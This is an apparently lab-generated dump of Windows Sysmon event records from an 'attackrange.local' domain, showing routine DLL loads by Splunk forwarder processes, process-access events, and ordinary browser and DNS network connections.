15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000054831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.388{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.389{7BD73061-742F-613B-910B-00000000F001}2132C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.173{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33685DB8319032162E9BB57781DF68D7,SHA256=FFCDE0EB3EC658891995E0FA1D01D99AB950505AF4218BB78EFEB33C3144E83B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:20.137{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04637DD92F73A8C208456562EB7C0D3D,SHA256=F6BF392EDCB55B6966C4A5A55018027D10EE406FAD2E41BFE5FBF1A42D07B988,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.915{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.915{7BD73061-7430-613B-930B-00000000F001}60846900C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.915{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.915{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000054996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.039{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63132-false143.204.98.64server-143-204-98-64.fra50.r.cloudfront.net443https 354300x800000000000000054995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.039{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63933- 354300x800000000000000054994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.037{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55074- 354300x800000000000000054993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.019{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63131-false13.32.22.10server-13-32-22-10.fra56.r.cloudfront.net443https 354300x800000000000000054992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.007{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60559- 354300x800000000000000054991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.005{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58696- 354300x800000000000000054990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.978{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63130-false52.222.214.105server-52-222-214-105.fra56.r.cloudfront.net443https 734700x800000000000000054989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.737{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.737{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.737{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.737{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.735{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.734{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft 